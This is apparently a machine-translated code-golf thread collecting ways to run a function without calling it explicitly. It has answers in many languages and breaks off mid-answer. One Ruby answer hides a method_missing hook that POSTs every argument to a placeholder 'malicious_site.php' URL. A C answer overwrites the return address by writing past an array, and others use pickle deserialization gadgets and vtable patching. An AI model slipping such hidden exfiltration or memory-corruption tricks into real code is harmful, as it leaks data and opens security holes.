调用方法而不调用它


77

现已删除的StackOverflow问题的启发。您能否提出一种方法来执行特定的方法,而无需显式调用它?间接程度越高,效果越好。

准确地说,这就是我的意思(C仅用作示例,接受所有语言):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

原始问题: 在此处输入图片说明


58
+10471 ... nice
qwr

29
我想知道您需要多少代表才能溢出堆栈溢出?
PyRulez 2014年

34
显然,这是@Mysticial帐户的屏幕截图,看到了头像。Mysticial,你能不能只需单击代表标签上?!?!?!
门把手

4
@Doorknob为什么要他?全部来自一个答案。
FDinoff 2014年

8
@PyRulez乔恩斯基特还没有,所以我们很安全,现在
科尔·约翰逊

Answers:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

使用GCC进行编译printf("Goodbye!\n")puts("Goodbye!"),编译器将替换为,这更简单并且应该是等效的。我已经偷偷提供了自定义puts函数,因此可以调用它。


1
@ user17752这实际上是GCC甚至在-O0时所做的转换。(无论如何,GCC 4.8。也许其他版本确实需要一些其他选择。)
2014年

1
抱歉,我的错误,忘记了我在Macbook上使用clang。
DarkHeart 2014年

@ user17752谢谢,我没有与其他编译器进行过测试,很高兴知道clang至少可以选择进行相同的转换。
2014年

恭喜你!赢家就是你!

84

那么,恶意软件如何执行代码中未调用的功能?通过溢出缓冲区!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

在我的系统上,的返回地址main恰好存储在第一个局部变量上方3个字的位置。通过将返回地址与另一个函数的地址加扰,可以main“返回”该函数。如果要在另一个系统上重现此行为,则可能必须将3调整为另一个值。


击败我吧(+1)-这是显而易见的C解决方案。
Comintern 2014年

20
<!-- language: lang-c -->在代码之前使用两行来突出显示它。
Victor Stafusa 2014年

9
大家欢呼@Victor,语法高亮英雄!
2014年

@Victor这是正式文件吗?如果是,在哪里?
托尔比约恩Ravn的安徒生

3
@ThorbjørnRavnAndersenmeta.stackexchange.com/ questions/184108/…
Victor Stafusa 2014年

75

重击

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
异常处理。另一个方法调用!
phyrfox 2014年

56

Python 2

>>> def func(*args):
        print('somebody called me?')

以下是受其他答案启发的一些方法:

  1. 直接执行代码

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    这是真正不调用函数的最佳方法。

  2. 使用析构函数

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. 使用std I / O

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. 使用属性查找

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. 导入机制

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    好吧,我想这就是全部。.我现在不能导入任何东西。不用等

  6. 使用get-item括号 []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. 使用全局变量。我的最爱!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    hello是对的访问d['hello']。在这之后,世界似乎是灰色的。

  8. 元类;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. 使用迭代器(您可以重载任何运算符并使用它)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. 错误!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. 框架会回调您。几乎每个GUI都具有此功能。

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. 执行源字符串(func必须在文件中)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. 装饰工

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. 咸菜反序列化(来了最少的收藏)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. 使用序列化

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

更多Python答案:


1
不错的收藏,但您忘记了线程。;)
nyuszika7h 2014年

这个答案是荒谬的。+1
asteri'4

这是python 3
Braden Best

1
这些示例中的许多示例也适用于Python3。所示的元类和异常引发在Python 3中不起作用
用户

22

Java脚本

这是使用JSFuck进行的肮脏工作。

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
我认为这符合显式函数调用的条件。只是一个非常模糊的。
2014年

3
@primo,它将构造一个要执行的JavaScript字符串,并获取Function对象以对其进行调用。但是要做到这一点,它使用了类型之间的隐式转换。例如,""是一个字符串,[]计算结果为0,因此""[[]]是undefined,并且""[[]]+""是“ undefined”。从那里可以拉出单个字母:(""[[]]+"")[[]]是“ u”。因此,这更像是用任意代码调用exec的黑客。我觉得很重要吗?
Phil H

1
@PhilH我知道它是如何工作的。删除最后两个括号:function anonymous() { x() }
2014年

22

蟒蛇

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

这将设置the_function为性能分析函数,从而使其在每次调用函数并返回时执行。

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

这是Python吗?
Hosch250

@ user2509848是的,我忘了提。
2014年

非C答案!我希望看到更多:D

@Johnsyweb请参阅meta.codegolf.stackexchange.com/q/1109/9498。无需编辑每个帖子即可包括语法突出显示,尤其是在它几乎不影响代码外观(例如短代码)的情况下。
贾斯汀

@Quincunx:已确认☻
Johnsyweb

18

C#

每当您尝试在类上调用任何方法时,我们都可能滥用DLR来始终执行一些代码。这比诸如委托,反射,静态构造函数等解决方案便宜/显而易见,因为被执行的方法不仅不会被调用,甚至不会引用,甚至不会按其名称进行调用

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

始终打印“哈!欺骗了您!” 无论您尝试调用什么a。因此,我可以轻松编写a.SuperCaliFragilisticExpiAlidocious(),并且可以完成相同的操作。


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

这很直接,但是即使函数确实执行了,也肯定不是对的调用hello_world


16

红宝石

wat启发。

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

16

C

如果满足您的需要,您可以在C的程序末尾注册一个要调用的函数:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

爪哇

用Java尝试过这个:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

该方法secretMethodNotCalledInMain仅通过反射调用,并且我不搜索任何被称为的东西secretMethodNotCalledInMain(相反,我正在搜索不被称为的任何东西main)。此外,main当JDK的未捕获异常处理程序启动时,代码的反射部分在方法外部被调用。

这是我的JVM信息:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

这是我的程序的输出:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

我没想到NullPointerException从本机代码中抛出这些来处理反射。但是,正如@ johnchen902所提到的,这是因为它继承了一些方法,java.lang.Object而我最终在nulls 上调用了它们。


这些NPE不是JDK错误。他们抛出,因为你试图援引声明的实例方法java.lang.Object,如toString()null
johnchen902

@ johnchen902哦,当然。谢谢。我编辑了
维克多·斯塔夫萨

14

C ++

C ++中的一种方法是在静态对象的构造函数和/或析构函数中:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
我还考虑过重载new和delete,但我认为三个答案就足够了:)
fredoverflow

构造函数/析构函数在C ++中是否被视为“方法”?在.NET和Java中,它们实际上是不同的成员类型。您不能直接调用静态ctor,即使您想...
Aaronaught 2014年

@Aaronaught:在C ++中,没有任何东西被视为“方法”(至少任何知道他们在说什么的人)。构造函数和析构函数是成员函数。但是它们是“特殊的”成员函数(例如,构造函数没有名称,因此您不能直接调用它们)。
杰里·科芬2014年

好吧,我只使用了该术语,因为OP确实使用了。我知道C / C ++和几乎所有其他非Java / .NET语言都具有功能,而不是方法。但是要注意的一点是它们不能被直接调用。您可能会争辩说,从技术上讲,实例构造函数是直接用调用的new,因此,有一种方法可以在不使用的情况下 调用它,这将是一个有趣的答案new。但我不知道,静态构造函数有点像个骗子。
Aaronaught 2014年

@Aaronaught如果要在已分配的内存上调用构造函数,可以编写new (p) foo()。而且,您可以销毁对象而无需通过释放内存p->~foo()
fredoverflow

12

C:你好世界

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

输出:

Hello World!

为了链接该方法,我们需要在程序中的某个位置编译printf(),但实际上不必调用它。在代码段中,printf()和main()函数的位置彼此分开276个字节。该值将根据操作系统和编译器而变化。您可以使用以下代码找到系统上的实际地址,然后将其减去:

printf("%d %d\n", &printf, &main);

4
*之前main真的是混乱和不必要的。main是一个无法取消引用的函数,因此它隐式衰减为一个函数指针,然后将其取消引用以再次产生一个函数。您不能从函数中减去一个int,因此它会再次衰减为一个函数指针。您最好写(*****main-276);)您可能打算写(&main-276)(*(main-276))代替。
fredoverflow

6
The * before main is really confusing and unnecessary.-在此网站上通常不是一件好事吗?
James Webster

标准给我留下了深刻的印象,那就是标准格式的程序将不使用main,但现在找不到了……
Damon

3
您通过混淆的参考明确地称呼它
Nowayz 2014年

9

C(使用GCC内联汇编)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

这将导致某些GCC发出的代码最终出现在目标文件的不同段中,从而有效地使控制流“落入” the_function。请注意,如果GCC决定对功能进行重新排序,这显然不起作用。使用,在MirBSD-current / i386上的GCC 3.4.6中进行了测试-O2。(此外,它会中断调试,并在-g出现错误时编译☺)


8

PHP≥5.4.0

该解决方案是公认的一个可怕的烂摊子,但它执行赋予它的任务(没有规定如何以及它必须执行)。

无需调用即可调用的函数

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

解决方案

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

范例

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

可能的输出:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

说明

调用时,executeFunction()将读取当前正在执行的文件的内容(这意味着该文件只能从CLI运行,因为它使用$argv),解析出指定函数的参数和主体,将所有内容一起砍回到新的代码,eval()然后返回结果。结果是,getRandomString()从不直接或间接地实际调用该函数,但是函数体内的代码仍然被执行。


那么,创建__construct()方法是否在PHP中很重要,因为您从不直接调用函数,而是直接使用它new Something()
Damir Kasipovic 2014年

@ D.Kasipovic有点像,您可能会说您仍在以另一种方式直接调用它。我之所以选择目前的方法,是因为我想跳出框框思考。我刚刚注册的功能为回调register_tick_function()register_shutdown_function()spl_autoload_register()类似@ GRC的Python的答案,但我觉得这样的“欺骗”,并采取讨巧。
托尼·埃利斯


7

T-SQL

这是一个内置功能。触发胜利!

如果您真的想玩得开心,请在愚人节创建大量INSTEAD OF触发器。

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

结果:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

很恶作剧。这样的笨蛋。哇。

修补匠在SQLFiddle上将删除。


2
作为应用程序开发人员,触发器总会吸引我,我从没想到过。
马修

7

的JavaScript

在Firefox控制台中:

    this.toString = function(){alert('Wow')};

然后,只需开始在控制台中键入任何内容- .toString()当您在控制台中键入内容时,Firefox会多次调用。

类似的方法是:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

选择的平台是Linux。我们无法调用我们的函数,因此我们将使用链接器来代替它:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

如何获得魔术地址?

我们依赖于Linux标准基础核心规范,该规范说:

.fini_array

本节包含一个函数指针数组,这些函数指针有助于包含该节的可执行文件或共享库的单个终止数组。

  1. 编译代码:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. 检查以下地址.fini_array

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. 找到它的VMA:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

并将该值替换为ADDRESS


5

VB6和VBA

不确定是否符合条件,因为它正在调用类的方法:

这在类模块中进行:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

这是“调用”代码:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

通过为类的vtable中的两个Subs交换函数vptr来工作。


杜德,你很危险!好东西!
Mathieu Guindon 2014年

我会说它确实符合条件,因为在VB6 / VBA中,方法是类的成员-否则,这是过程;)
Mathieu Guindon 2014年

5

哈斯克尔

在haskell中,如果您这样做:

main=putStrLn "This is the main action."

运行它时,它将立即执行而无需调用其名称。魔法!


1
Haskell不计算在内。您不能调用IO操作,只能将更多IO操作链接到该操作或分配到某个位置。
John Dvorak 2014年

这是IO操作的等效概念。
PyRulez 2014年

5

Java脚本

简单,只需on___在JS中使用事件即可。例如:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

爪哇

我的其他java答案。如您在代码中所见,它直接调用theCalledMethod,但是该方法notCalledMethod改为执行。

因此,最后我要做两件事:

  • 调用方法而不调用它。
  • 不通过调用方法来调用它。
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
